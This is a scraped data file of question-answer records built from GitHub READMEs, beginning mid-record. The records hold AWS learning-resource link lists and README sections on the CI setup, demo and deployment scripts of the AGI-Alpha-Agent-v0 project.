escalation?](https://aws.amazon.com/premiumsupport/knowledge-center/iam-permission-boundaries/)\n* [Policy evaluation logic](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_policies_evaluation-logic.html)\n* [AWS Global Condition Context Keys](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_policies_condition-keys.html)\n* [Creating a Condition with Multiple Keys or Values](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_policies_multi-value-conditions.html)\n* [How can I use IAM policy tags to restrict how an EC2 instance or EBS volume can be created?](https://aws.amazon.com/premiumsupport/knowledge-center/iam-policy-tags-restrict/)\n* [Using Service-Linked Roles](https://docs.aws.amazon.com/IAM/latest/UserGuide/using-service-linked-roles.html)\n* [Approaches for authenticating external applications in a machine-to-machine scenario](https://aws.amazon.com/blogs/security/approaches-for-authenticating-external-applications-in-a-machine-to-machine-scenario/)\n* [AWS Services That Work with IAM ](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_aws-services-that-work-with-iam.html)\n* [Tighten S3 permissions for your IAM users and roles using access history of S3 actions](https://aws.amazon.com/blogs/security/tighten-s3-permissions-iam-users-and-roles-using-access-history-s3-actions/)\n* [Automate analyzing your permissions using IAM access advisor APIs](https://aws.amazon.com/blogs/security/automate-analyzing-permissions-using-iam-access-advisor/)\n* [Proving security at scale with automated reasoning](https://www.allthingsdistributed.com/2019/06/proving-security-at-scale-with-automated-reasoning.html)\n* [How AWS uses automated reasoning to help you achieve security at scale (AWS Zelkova)](https://aws.amazon.com/blogs/security/protect-sensitive-data-in-the-cloud-with-automated-reasoning-zelkova/)\n* [IAM Access Analyzer - Por que habilitar?](https://youtu.be/YcAtr2tKSfo)\n* [Access Analyzer policy validation](https://docs.aws.amazon.com/IAM/latest/Us", "tags": ["brunokktro"], "source": "github_gists", "category": "brunokktro", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 323, "answer_score": 10, "has_code": false, "url": "https://github.com/brunokktro/auladobruno", "collected_at": "2026-01-17T12:57:02.647820"}
{"id": "gh_7e69b66cf00a", "question": "How to: Running Containers on Amazon Elastic Kubernetes Service", "question_body": "About brunokktro/auladobruno", "answer": "* [Amazon Elastic Kubernetes Service (EKS) Primer](https://www.aws.training/Details/eLearning?id=32894)\n* [Containers na AWS - Immersion Day](https://pages.awscloud.com/LATAM_TRAINCERT_WEBINAR_immersion-day-containers-video-series_20200331_7010z000001LIBT_LPVideos-CostOptimizationVideoSeries.html)\n* [Introducing the AWS Controllers for Kubernetes (ACK)](https://aws.amazon.com/blogs/containers/aws-controllers-for-kubernetes-ack/)\n* [Deep Dive into firecracker-containerd](https://youtu.be/0wEiizErKZw)\n* [16 Benefícios do Amazon EKS para se considerar quando escolher sua opção de deploy](https://aws.amazon.com/pt/blogs/aws-brasil/16-beneficios-do-amazon-eks-para-se-considerar-quando-escolher-sua-opcao-de-deploy/)\n* [Boas práticas de utilização de instâncias Spot no Amazon EKS](https://aws.amazon.com/pt/blogs/aws-brasil/boas-praticas-de-utilizacao-de-instancias-spot-no-amazon-eks/)\n* [Self-managed nodes](https://docs.aws.amazon.com/eks/latest/userguide/worker.html)\n* [Managed node groups](https://docs.aws.amazon.com/eks/latest/userguide/managed-node-groups.html)\n* [The eksctl command line utility](https://docs.aws.amazon.com/eks/latest/userguide/eksctl.html)\n* [eksctl - The official CLI for Amazon EKS](https://eksctl.io/)\n* [Managing Amazon EKS Clusters with Rancher](https://aws.amazon.com/blogs/opensource/managing-eks-clusters-rancher/)\n* [Cluster VPC considerations](https://docs.aws.amazon.com/eks/latest/userguide/network_reqs.html)\n* [Deploy a Kubernetes Application](https://aws.amazon.com/getting-started/hands-on/deploy-kubernetes-app-amazon-eks/)\n* [Operating a multi-regional stateless application using Amazon EKS](https://aws.amazon.com/blogs/containers/operating-a-multi-regional-stateless-application-using-amazon-eks/)\n* [How to build container images with Amazon EKS on Fargate](https://aws.amazon.com/blogs/containers/how-to-build-container-images-with-amazon-eks-on-fargate/)\n* [Speeding up Windows container launch times with EC2 Image builder and image cache strategy](https://aws.amazon.com/blogs/containers/speeding-up-windows-container-launch-times-with-ec2-image-builder-and-image-cache-strategy/)\n* [How to capture application logs when using Amazon EKS on AWS Fargate](https://aws.amazon.com/pt/blogs/containers/how-to-capture-application-logs-when-using-amazon-eks-on-aws-fargate/)\n* [Streaming logs from Amazon EKS Windows pods to Amazon CloudWatch Logs using Fluentd](https://aws.amazon.com/blogs/containers/streaming-logs-from-amazon-eks-windows-pods-to-amazon-cloudwatch-logs-using-fluentd/)\n* [Using Amazon FSx for Windows File Server as persistent storage on Windows Containers](https://aws.amazon.com/blogs/containers/using-amazon-fsx-for-windows-file-server-as-persistent-storage-on-windows-containers/)\n* [Using the FSx for Lustre CSI Driver with Amazon EKS](https://aws.amazon.com/blogs/opensource/using-fsx-lustre-csi-driver-amazon-eks/)\n* [Fluent Bit for Amazon EKS on AWS Fargate is here](https://aws.amazon.com/pt/blogs/containers/fluent-bit-for-amazon-eks-on-aws-fargate-is-here/)\n* [Install SSM Agent on Amazon EKS worker nodes by using Kubernetes DaemonSet](https://docs.aws.amazon.com/prescriptive-guidance/latest/patterns/install-ssm-agent-on-amazon-eks-worker-nodes-by-using-kubernetes-daemonset.html)\n* [New – Use CloudWatch Synthetics to Monitor Sites, API Endpoints, Web Workflows, and More](https://aws.amazon.com/blogs/aws/new-use-cloudwatch-synthetics-to-monitor-sites-api-endpoints-web-workflows-and-more/)\n* [Visual monitoring of applications with Amazon CloudWatch Synthetics](https://aws.amazon.com/blogs/mt/visual-monitoring-of-applications-with-amazon-cloudwatch-synthetics/)\n* [Getting started with AWS App Mesh and Amazon EKS](https://aws.amazon.com/blogs/containers/getting-started-with-app-mesh-and-eks/)\n* [Using sidecar injection on Amazon EKS with AWS App Mesh](https://aws.amazon.com/blogs/containers/using-sidecar-injection-on-amazon-eks-with-aws-app-mesh/)\n* [Amazon EKS networking](https://docs.aws.amazon.com/eks/latest/userguide/eks-networking.html)\n* [Pod networking (CNI)](https://docs.aws.amazon.com/eks/latest/userguide/pod-networking.html)\n* [Optimize IP addresses usage by pods in your Amazon EKS cluster](https://aws.amazon.com/blogs/containers/optimize-ip-addresses-usage-by-pods-in-your-amazon-eks-cluster/)\n* [De-mystifying cluster networking for Amazon EKS worker nodes](https://aws.amazon.com/blogs/containers/de-mystifying-cluster-networking-for-amazon-eks-worker-nodes/)\n* [Introducing security groups for pods](https://aws.amazon.com/blogs/containers/introducing-security-groups-for-pods/)\n* [Installing Calico on Amazon EKS](https://docs.aws.amazon.com/eks/latest/userguide/calico.html)\n* [Open Source Calico for Windows Containers on Amazon EKS](https://aws.amazon.com/blogs/containers/open-source-calico-for-windows-containers-on-amazon-eks/)\n* [Introducing OIDC identity provider authentication for Amazon EKS](https://aws.amazon.com/blogs/containers/introducing-oidc-identity-provider-authe", "tags": ["brunokktro"], "source": "github_gists", "category": "brunokktro", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 323, "answer_score": 10, "has_code": false, "url": "https://github.com/brunokktro/auladobruno", "collected_at": "2026-01-17T12:57:02.647845"}
{"id": "gh_c166e785b594", "question": "How to: Arquiteturas de Referência & Tools", "question_body": "About brunokktro/auladobruno", "answer": "* [AWS Quick Starts](https://aws.amazon.com/quickstart/)\n* [AWS Solutions](https://aws.amazon.com/solutions/)\n* [Serverless Land](https://serverlessland.com/)\n* [AWS CloudFormation Templates](https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/cfn-sample-templates.html)\n* [AWS SAM - Serverless Application Repository](https://serverlessrepo.aws.amazon.com/applications)\n* [AWS Samples](https://github.com/aws-samples)\n* [AWS Cloud Design Patterns](http://en.clouddesignpattern.org/index.php/Main_Page)\n* [AWS Pricing Calculator](https://calculator.aws/#/)\n* [AWS Simple Monthly Calculator](https://calculator.s3.amazonaws.com/index.html)\n* [The Amazon Builders' Library](https://aws.amazon.com/builders-library/)\n* [AWS Geek Cloud Diagrams & Notes](https://www.awsgeek.com/)\n* [AWS Global Infrastructure Network (3D Map)](https://apps.kaonadn.net/5181491956940800/index.html)\n* [Explore AWS Outposts](https://apps.kaonadn.net/4915573462925312/index.html)\n* [AWS Digital Training Provider Courses](https://aws.amazon.com/training/digital-training-providers/)\n* [AWS re:Invent 2020 – Announcements From the News Blog](https://aws.amazon.com/pt/blogs/aws/aws-reinvent-announcements-2020/)\n* [TOOLS] [AWS Cloud Adoption Readiness Tool (CART)](https://cloudreadiness.amazonaws.com/)\n* [TOOLS] [Amazon ECR Public Gallery](https://gallery.ecr.aws/)\n* [TOOLS] [Try sample applications on Amazon AppStream 2.0](https://aws.amazon.com/appstream2/try-sample-applications/)\n* [TOOLS] [AWS Sandbox Accounts for Events](https://github.com/awslabs/sandbox-accounts-for-events)\n* [TOOLS] [AWS Support Tools](https://github.com/awslabs/aws-support-tools)\n* [TOOLS] [CloudPing](https://www.cloudping.info/)\n* [TOOLS] [S3 Transfer Acceleration Speed Comparison Tool](http://s3-accelerate-speedtest.s3-accelerate.amazonaws.com/en/accelerate-speed-comparsion.html)\n* [TOOLS] [AWS Global Accelerator - Speed Comparison](https://speedtest.globalaccelerator.aws/#/)\n* [TOOLS] [Overlapping CIDRs using AWS Transit Gateway in VPC and NAT Instances](https://github.com/aws-samples/aws-transit-gateway-overlapping-cidrs)\n* [TOOLS] [Amazon EC2 Instance Selector](https://github.com/aws/amazon-ec2-instance-selector)\n* [TOOLS] [Amazon WorkSpaces - Connection Health Check](https://clients.amazonworkspaces.com/Health.html)\n* [TOOLS] [Web Identity Federation Playground](https://web-identity-federation-playground.s3.amazonaws.com/index.html)\n* [TOOLS] [Service Control Policy examples](https://github.com/aws-samples/service-control-policy-examples)\n* [TOOLS] [AWS IAM Identity Center Sync](https://github.com/aws-samples/aws-iam-identity-center-sync-script)\n* [TOOLS] [Amazon Cognito Passwordless Auth](https://github.com/aws-samples/amazon-cognito-passwordless-auth)\n* [TOOLS] [AWS Policy Generator](https://awspolicygen.s3.amazonaws.com/policygen.html)\n* [TOOLS] [IAM Access Key-Auto rotation](https://github.com/aws-samples/aws-iam-access-key-auto-rotation)\n* [TOOLS] [AWS Organizations Alternate Contact Manager](https://github.com/aws-samples/aws-organizations-alternate-contact-manager)\n* [TOOLS] [Temporary Elevated Access Tool](https://github.com/aws-samples/aws-iam-temporary-elevated-access-broker)\n* [TOOLS] [AWS Elastic Load Balancer Demos](https://exampleloadbalancer.com/)\n* [TOOLS] [AWS Health Aware](https://github.com/aws-samples/aws-health-aware)\n* [TOOLS] [AWS Deployment Framework](https://github.com/awslabs/aws-deployment-framework)\n* [TOOLS] [Trusted Advisor Tools](https://github.com/aws/Trusted-Advisor-Tools)\n* [TOOLS] [Trusted Advisor Exposed Keys CloudWatch Event Monitor](https://github.com/aws/Trusted-Advisor-Tools/tree/master/ExposedAccessKeys)\n* [TOOLS] [AWS Incident Response Playbook Samples](https://github.com/aws-samples/aws-incident-response-playbooks)\n* [TOOLS] [AWS Threat Composer](https://github.com/awslabs/threat-composer)\n* [TOOLS] [Macie Findings integration with Slack Channel](https://github.com/aws-samples/macie-findings-to-slack)\n* [TOOLS] [Git-Secrets](https://github.com/awslabs/git-secrets)\n* [TOOLS] [Self-Service Security Assessment tool](https://github.com/awslabs/aws-security-assessment-solution)\n* [TOOLS] [AWS CloudSaga - Simulate security events in AWS](https://github.com/awslabs/aws-cloudsaga)\n* [TOOLS] [AWS Secure Environment Accelerator](https://github.com/aws-samples/aws-secure-environment-accelerator)\n* [TOOLS] [Self-Service Security Assessment Solutions (v2.0)](https://github.com/awslabs/aws-security-assessment-solution)\n* [TOOLS] [AWS Security Hub Cross-Account Controls Disabler](https://github.com/aws-samples/aws-security-hub-cross-account-controls-disabler)\n* [TOOLS] [Amazon Guardduty Tester](https://github.com/awslabs/amazon-guardduty-tester)\n* [TOOLS] [SIEM on Amazon Elasticsearch Service](https://github.com/aws-samples/siem-on-amazon-elasticsearch)\n* [TOOLS] [AWS WAF Operations Dashboards](https://github.com/aws-samples/aws-waf-ops-dashboards/blob/main/README_pt.md)\n* [TOOLS] [Amazon S3 Find and Forget](https://github.com/awsl", "tags": ["brunokktro"], "source": "github_gists", "category": "brunokktro", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 323, "answer_score": 10, "has_code": false, "url": "https://github.com/brunokktro/auladobruno", "collected_at": "2026-01-17T12:57:02.647891"}
{"id": "gh_048f59d80e4c", "question": "How to: Workshops & Laboratórios", "question_body": "About brunokktro/auladobruno", "answer": "* [LABS] [AWS Educate](https://aws.amazon.com/education/awseducate/)\n* [LABS] [AWS Builder Labs](https://aws.amazon.com/training/digital/aws-builder-labs/)\n* [LABS] [AWS Well-Architected Labs](https://wellarchitectedlabs.com)\n* [LABS] [VMware Cloud on AWS](https://my.vmware.com/web/vmware/evalcenter?p=vmc-hol-aws-gen-21)\n* [LABS] [Break a Monolith Application into Microservices](https://aws.amazon.com/getting-started/hands-on/break-monolith-app-microservices-ecs-docker-ec2/)\n* [LABS] [Building CI/CD with Blue/Green and Canary Deployments on EKS using CDK](https://github.com/aws-samples/amazon-eks-cdk-blue-green-cicd)\n* [Workshop] [AWS Workshops](https://workshops.aws/)\n* [Workshop] [AWSome AWS Workshops](https://awesome-aws-workshops.com/)\n* [Workshop] [AWS Well-Architected Labs](https://wellarchitectedlabs.com/)\n* [Workshop] [Modelo de Maturidade de Segurança da AWS](https://maturitymodel.security.aws.dev/pt/)\n* [Workshop] [AWS Cloud Champion](https://aws.amazon.com/blogs/publicsector/announcing-aws-cloud-champion-gamified-tutorial-working-teaching-engaging-remotely/)\n* [Workshop] [Networking Workshop - Transit Gateway and Traffic Mirroring](https://www.networking-workshop.com/#/)\n* [Workshop] [Amazon EC2 Spot Instances Workshop](https://ec2spotworkshops.com/)\n* [Workshop] [Amazon CloudWatch](https://ako.aws-management.tools/tko372759/en/cw.html)\n* [Workshop] [SSM & Config](https://ako.aws-management.tools/tko372759/en/ssm.html)\n* [Workshop] [Building Event-Driven Architectures on AWS](https://event-driven-architecture.workshop.aws/)\n* [Workshop] [Amazon FSx Workshop](https://github.com/aws-samples/amazon-fsx-workshop)\n* [Workshop] [SQL Server Immersion Day](https://sql-immersionday.workshop.aws/)\n* [Workshop] [Windows Containers on AWS](https://ms-containers.workshop.aws/en/)\n* [Workshop] [Amazon ECS Workshop for AWS Fargate](https://ecsworkshop.com/)\n* [Workshop] [Amazon EKS Workshop](https://eksworkshop.com/)\n* [Workshop] [Amazon Lightsail Workshop](https://lightsailworkshop.com/)\n* [Workshop] [Amazon DynamoDB Labs](https://amazon-dynamodb-labs.com/index.html)\n* [Workshop] [Amazon Aurora Labs for MySQL](https://awsauroralabsmy.com/prereqs/environment/)\n* [Workshop] [Generate Content with Lambda@Edge](https://content-generation-lambda-edge.workshop.aws/)\n* [Workshop] [AWS EMP Workshop](https://aws-emp.workshop.aws/en/)\n* [Workshop] [AWS Database Migration Workshop](https://dms-immersionday.workshop.aws)\n* [Workshop] [CloudEndure Migration Factory Workshop](https://aws-mf.s3.amazonaws.com/workshop/index.html)\n* [Workshop] [CloudEndure Deep Dive - Workshop](http://02h.s3-website.eu-central-1.amazonaws.com/)\n* [Workshop] [Disaster Recovery/Recuperação de Desastres na AWS](https://disaster-recovery.workshop.aws/pt)\n* [Workshop] [Migration Immersion Day](https://migration-immersionday.workshop.aws/en/)\n* [Workshop] [Migration and Modernization Workshop Guide](https://application-migration-with-aws.workshop.aws/)\n* [Workshop] [Kynesis Streaming Analytics Workshop](https://streaming-analytics.labgui.de/)\n* [Workshop] [Identity: Choose Your Own SAML Adventure](http://federationworkshopreinvent2016.s3-website-us-east-1.amazonaws.com/)\n* [Workshop] [AWS Multi-Account Setup](https://workshop-aws-account-setup.fstehle.com/)\n* [Workshop] [Landing Zone Workshop](https://lz-workshop.com/)\n* [Workshop] [AWS Service Catalog Tools Workshop](https://service-catalog-tools-workshop.com/)\n* [Workshop] [AWS Security Workshops](https://awssecworkshops.com/)\n* [Workshop] [Security Workshops - Permission Boundaries: How to Truly Delegate Permissions on AWS](https://awssecworkshops.com/builder-sessions/permission-boundary/build/)\n* [Workshop] [Security Workshops - Data Protection, Detection, Identity, Threat Detection](https://awssecworkshops.com/workshops/)\n* [Workshop] [AWS Protecting Workloads Workshops](http://protecting-workloads.awssecworkshops.com/)\n* [Workshop] [Getting Hands on with Amazon GuardDuty](https://hands-on-guardduty.awssecworkshops.com/)\n* [Workshop] [Scaling threat detection and response in AWS](https://scaling-threat-detection.awssecworkshops.com/)\n* [Workshop] [Integrating security into your container pipeline](https://container-devsecops.awssecworkshops.com/)\n* [Workshop] [DevSecOps with Snyk](https://snyk.modernize.awsworkshop.io/)\n* [Workshop] [DevSecOps on AWS](https://devsecops.workshop.aws/en/)\n* [Workshop] [CI/CD workshop for Amazon ECS](https://cicd-for-ecs.workshop.aws/en/)\n* [Workshop] [Gaining operational insights with AIOps using Amazon DevOps Guru](https://aiops-using-devops-guru.workshop.aws/)\n* [Workshop] [Windows on AWS](https://winonaws.cloud/)\n* [Workshop] [Running Microsoft Workloads on AWS Immersion Day](https://ms-immersionday.workshop.aws/)\n* [Workshop] [Amazon RDS for SQL Server Workshop](https://rdssms.workshop.aws/)\n* [Workshop] [AWS Cloud Development Kit (CDK) Workshop](https://cdkworkshop.com/)\n* [Workshop] [Learn Python On AWS Workshop](https://learn-to-code.workshop.aws/)\n* [Work", "tags": ["brunokktro"], "source": "github_gists", "category": "brunokktro", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 323, "answer_score": 10, "has_code": false, "url": "https://github.com/brunokktro/auladobruno", "collected_at": "2026-01-17T12:57:02.647922"}
{"id": "gh_fec1313318d0", "question": "How to: Security Note", "question_body": "About MontrealAI/AGI-Alpha-Agent-v0", "answer": "This project intentionally avoids reliance on Chainlink VRF or similar third-party subscription services. Randomness and related features are derived locally so the system remains self-contained and auditable.", "tags": ["MontrealAI"], "source": "github_gists", "category": "MontrealAI", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 270, "answer_score": 10, "has_code": false, "url": "https://github.com/MontrealAI/AGI-Alpha-Agent-v0", "collected_at": "2026-01-17T12:57:05.577289"}
{"id": "gh_aa23a44dc6c4", "question": "How to: Continuous Integration", "question_body": "About MontrealAI/AGI-Alpha-Agent-v0", "answer": "[![PR CI](https://github.com/montrealai/AGI-Alpha-Agent-v0/actions/workflows/pr-ci.yml/badge.svg)](https://github.com/montrealai/AGI-Alpha-Agent-v0/actions/workflows/pr-ci.yml)\n[![🚀 CI — Insight Demo](https://github.com/montrealai/AGI-Alpha-Agent-v0/actions/workflows/ci.yml/badge.svg?branch=main)](https://github.com/montrealai/AGI-Alpha-Agent-v0/actions/workflows/ci.yml?query=branch%3Amain)\n[![🔥 Smoke Test](https://github.com/montrealai/AGI-Alpha-Agent-v0/actions/workflows/smoke.yml/badge.svg)](https://github.com/montrealai/AGI-Alpha-Agent-v0/actions/workflows/smoke.yml)\n[![🩺 CI Health](https://github.com/montrealai/AGI-Alpha-Agent-v0/actions/workflows/ci-health.yml/badge.svg)](https://github.com/montrealai/AGI-Alpha-Agent-v0/actions/workflows/ci-health.yml)\n\nThe CI matrix is pinned to the canonical `$AGIALPHA` token contract (`0xa61a3b3a130a9c20768eebf97e21515a6046a1fa`, **18 decimals**). Each workflow calls `python scripts/check_agialpha_config.py` to fail fast if the address, decimals, or workflow environment variables drift away from [`token.config.js`](token.config.js) or the Solidity constants. Run the same helper locally before dispatching CI to keep badges green and avoid PR surprises.\n\nThe **PR CI** workflow runs Ruff linting and focused smoke tests on every pull request and on pushes to `main`. The full **🚀 CI — Insight Demo** matrix (lint, type-check, tests, docs, Docker build, and signed artifacts) now runs on the same events so the badge stays fresh without manual dispatch. A separate **🩺 CI Health** watchdog automatically cancels pending runs that linger beyond a 10-minute grace window (hard stop at 60 minutes), re-dispatches missing jobs with `GITHUB_TOKEN`, and alerts when any workflow is stuck; it now also triggers after every **PR CI**, **🚀 CI**, or **🔥 Smoke Test** completion so badge issues are remediated immediately instead of waiting for the hourly cron. Tests target Python 3.11 and 3.12 until PyTorch releases stable 3.13 wheels.\n\nWhen a workflow does fail, the watchdog now also requests an automatic rerun using `GITHUB_TOKEN` so transient network blips or flaky mirrors self-heal before raising an alert. This keeps required checks green on `main` without manual button clicks while preserving visibility into repeated failures.\n\n`workflow_dispatch` runs triggered by the **🩺 CI Health** watchdog now bypass the manual owner gate when they originate from `github-actions[bot]`, so automated re-dispatches can heal stale badges without waiting for the repository owner to click \"Re-run\".\n\nTo enforce branch-protection verification inside the watchdog, add a fine-grained or classic `ADMIN_GITHUB_TOKEN` secret with branch-administration scope; when absent, the workflow logs a warning and skips the check so the rest of CI remains green.\n\nPushes of signed release tags (`v*` or `release-*`) also trigger **🚀 CI — Insight Demo**, exercising the deploy and signing stages so production artifacts stay provably green.\n\n#### Run CI locally\n\n1. Create and activate a Python 3.11–3.13 virtual environment, then upgrade pip:\n   ```bash\n   python3 -m venv .venv\n   source .venv/bin/activate\n   pip install -U pip\n   ```\n2. Install required and optional Python dependencies (set `ALPHA_FACTORY_FULL=1` for heavier extras or `--wheelhouse\n` when offline):\n   ```bash\n   python check_env.py --auto-install\n   ```\n3. Run formatting and lint hooks:\n   ```bash\n   pre-commit run --all-files\n   ```\n4. Execute the tests:\n   ```bash\n   pytest\n   ```\n5. Trigger the GitHub Actions pipeline from **Actions → 🚀 CI — Insight Demo** (or **PR CI** for pull requests) and click **Run workflow** (repository owners only).\n\n**Troubleshooting:**\n- Missing optional packages (`openai_agents`, `gymnasium`, etc.) can fail tests—rerun `python check_env.py --auto-install` with `ALPHA_FACTORY_FULL=1`.\n- When offline or behind strict firewalls, set `WHEELHOUSE=$(pwd)/wheels` and pass `--wheelhouse \"$WHEELHOUSE\"` so installs pull from the local wheel cache instead of PyPI.\n\nMark **all** of these checks as required branch protections so contributors see the results on every PR and the `main` branch stays green:\n\n- `✅ PR CI / Lint (ruff)`\n- `✅ PR CI / Smoke tests`\n- `🚀 CI — Insight Demo / 🧹 Ruff + 🏷️ Mypy (3.11)`\n- `🚀 CI — Insight Demo / 🧹 Ruff + 🏷️ Mypy (3.12)`\n- `🚀 CI — Insight Demo / ✅ Actionlint`\n- `🚀 CI — Insight Demo / ✅ Pytest (3.11)`\n- `🚀 CI — Insight Demo / ✅ Pytest (3.12)`\n- `🚀 CI — Insight Demo / Windows Smoke`\n- `🚀 CI — Insight Demo / macOS Smoke`\n- `🚀 CI — Insight Demo / 📜 MkDocs`\n- `🚀 CI — Insight Demo / 📚 Docs Build`\n- `🚀 CI — Insight Demo / 🐳 Docker build`\n- `🩺 CI Health / CI watchdog`\n\nPushes to `main`, merge-queue runs, and pull requests from any source now run a `🔒 Branch protection guardrails` job inside **🚀 CI — Insight Demo**. The job stays read-only when only the default `GITHUB_TOKEN` is available (for example, forked PRs), so the required check still reports while repositories with an `ADMIN_GITHUB_TOKEN` continue enforcing", "tags": ["MontrealAI"], "source": "github_gists", "category": "MontrealAI", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 270, "answer_score": 10, "has_code": true, "url": "https://github.com/MontrealAI/AGI-Alpha-Agent-v0", "collected_at": "2026-01-17T12:57:05.577330"}
{"id": "gh_339708146439", "question": "How to: Quick Demo", "question_body": "About MontrealAI/AGI-Alpha-Agent-v0", "answer": "Non-technical users can try the project with zero setup. Simply visit\nin your\nbrowser. The [README](docs/README.md#α‑agi-insight-v1-demo) explains how this\ndemo is built and deployed.\n\nSee [Quick Deployment](docs/HOSTING_INSTRUCTIONS.md#quick-deployment) for build and deployment details. The [📚 Docs workflow](.github/workflows/docs.yml) is dispatched manually by the repository owner to publish the updated site to GitHub Pages.\n\nFull documentation: [https://montrealai.github.io/AGI-Alpha-Agent-v0/](https://montrealai.github.io/AGI-Alpha-Agent-v0/) (use the **Docs** link in the navigation bar)\n\nThe GitHub Pages site hosts the interactive demo under the `alpha_agi_insight_v1/` directory. Click **Docs** in the navigation bar for the full manual.\n\n**View the interactive demo here:**\n**Browse the visual demo gallery:**\n**Explore all demos:**\n– run `./scripts/open_subdir_gallery.py` (or set `AF_GALLERY_URL` to your own mirror) for a local or online launch. Alternatively execute `make subdir-gallery-open` to build the gallery if needed and open it automatically.\nAll browser demos include a **mode toggle**. Choose **Offline** to run a Pyodide simulation directly in your browser or switch to **OpenAI API** when you provide a key. The key is stored only in memory.", "tags": ["MontrealAI"], "source": "github_gists", "category": "MontrealAI", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 270, "answer_score": 10, "has_code": false, "url": "https://github.com/MontrealAI/AGI-Alpha-Agent-v0", "collected_at": "2026-01-17T12:57:05.577345"}
{"id": "gh_ab292d7479b0", "question": "How to: Smoke Test Workflow", "question_body": "About MontrealAI/AGI-Alpha-Agent-v0", "answer": "Trigger the **🔥 Smoke Test** job from the GitHub Actions tab to run linting,\nunit tests and a short 2‑year simulation in offline mode. The workflow verifies\nthe ledger output and catches import errors or circular dependencies early.\n\n**Important:** Run `npm run fetch-assets` before `npm install` or executing\n`./setup.sh` to download the browser demo assets. Run this command in a fresh\ncheckout—or delete existing `wasm*/` files first—so placeholder files are\nreplaced. After the download, verify checksums with\n`python scripts/fetch_assets.py --verify-only`. The helper retrieves the\nofficial Pyodide runtime from the jsDelivr CDN and the GPT‑2 small checkpoint\ndirectly from the Hugging Face CDN. The legacy `wasm-gpt2.tar` bundle is no longer used.\nOverride `HF_GPT2_BASE_URL`\nto change the mirror, for example:\n\n```bash\nexport HF_GPT2_BASE_URL=\"https://huggingface.co/openai-community/gpt2/resolve/main\"\n```\n\nIf `npm run fetch-assets` fails with a 401 or 404 error, download the GPT‑2\nfiles manually:\n```bash\npython scripts/download_hf_gpt2.py models/gpt2\n```\nEach file can also be fetched individually using these official links:\n```bash\ncurl -O https://huggingface.co/openai-community/gpt2/resolve/main/pytorch_model.bin\ncurl -O https://huggingface.co/openai-community/gpt2/resolve/main/vocab.json\ncurl -O https://huggingface.co/openai-community/gpt2/resolve/main/merges.txt\ncurl -O https://huggingface.co/openai-community/gpt2/resolve/main/config.json\n```\nThe model weights have SHA‑256\n`7c5d3f4b8b76583b422fcb9189ad6c89d5d97a094541ce8932dce3ecabde1421` for\nverification. See\n[insight_browser_v1/index.md](alpha_factory_v1/demos/alpha_agi_insight_v1/insight_browser_v1/index.md)\nfor additional details.\n\n[![Launch \\u03b1\\u2011AGI Insight](https://img.shields.io/badge/Launch-%CE%B1%E2%80%91AGI%20Insight-blue?style=for-the-badge)](https://montrealai.github.io/AGI-Alpha-Agent-v0/alpha_agi_insight_v1/)", "tags": ["MontrealAI"], "source": "github_gists", "category": "MontrealAI", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 270, "answer_score": 10, "has_code": true, "url": "https://github.com/MontrealAI/AGI-Alpha-Agent-v0", "collected_at": "2026-01-17T12:57:05.577360"}
{"id": "gh_4a0119b899fa", "question": "How to: Manual Deployment", "question_body": "About MontrealAI/AGI-Alpha-Agent-v0", "answer": "The repository owner triggers the [Docs workflow](.github/workflows/docs.yml) from the GitHub Actions tab. Simply click **Run workflow** to start the deployment. The job runs [`scripts/edge_human_knowledge_pages_sprint.sh`](scripts/edge_human_knowledge_pages_sprint.sh) to rebuild the Insight demo and MkDocs site, publishing the result to GitHub Pages. Once it finishes the live demo is available at\n.", "tags": ["MontrealAI"], "source": "github_gists", "category": "MontrealAI", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 270, "answer_score": 10, "has_code": false, "url": "https://github.com/MontrealAI/AGI-Alpha-Agent-v0", "collected_at": "2026-01-17T12:57:05.577374"}
{"id": "gh_de17e3072d98", "question": "How to: Publish Demo Gallery", "question_body": "About MontrealAI/AGI-Alpha-Agent-v0", "answer": "Ensure **Python 3.11–3.13** (<3.14) and **Node 22.17.1** are installed, then deploy the gallery\nand docs with a single command:\n\n```bash\nmake gallery-deploy\n```\n`make gallery-deploy` wraps [`scripts/deploy_gallery_pages.sh`](scripts/deploy_gallery_pages.sh),\nwhich calls [`scripts/generate_gallery_html.py`](scripts/generate_gallery_html.py)\nto refresh `docs/index.html` and update the `docs/gallery.html` redirect.\n\nSee [docs/GITHUB_PAGES_DEMO_TASKS.md](docs/GITHUB_PAGES_DEMO_TASKS.md) for a\ndetailed walkthrough. Once the build finishes, open the gallery locally with:\n\n```bash\nmake gallery-open\n```\n\nRun `make gallery-build` to regenerate the site without deploying and open it\nin one step.\n\nOpen an individual demo directly:\n\n```bash\nmake demo-open DEMO=alpha_agi_business_v1\n```", "tags": ["MontrealAI"], "source": "github_gists", "category": "MontrealAI", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 270, "answer_score": 10, "has_code": true, "url": "https://github.com/MontrealAI/AGI-Alpha-Agent-v0", "collected_at": "2026-01-17T12:57:05.577384"}
{"id": "gh_d1124b6f8f83", "question": "How to: Edge-of-Human-Knowledge Sprint", "question_body": "About MontrealAI/AGI-Alpha-Agent-v0", "answer": "Run the wrapper to build and deploy the full GitHub Pages site with environment\nchecks and offline validation. Use the shell or Python version:\n\n```bash\n./scripts/edge_human_knowledge_pages_sprint.sh\npython scripts/edge_human_knowledge_pages_sprint.py\n```\n\nEnsure **Python 3.11–3.13** (<3.14), **Node 22.17.1** and `mkdocs` are installed. The\nscript mirrors the [Docs workflow](.github/workflows/docs.yml) used for manual\ndeployment.", "tags": ["MontrealAI"], "source": "github_gists", "category": "MontrealAI", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 270, "answer_score": 10, "has_code": true, "url": "https://github.com/MontrealAI/AGI-Alpha-Agent-v0", "collected_at": "2026-01-17T12:57:05.577391"}
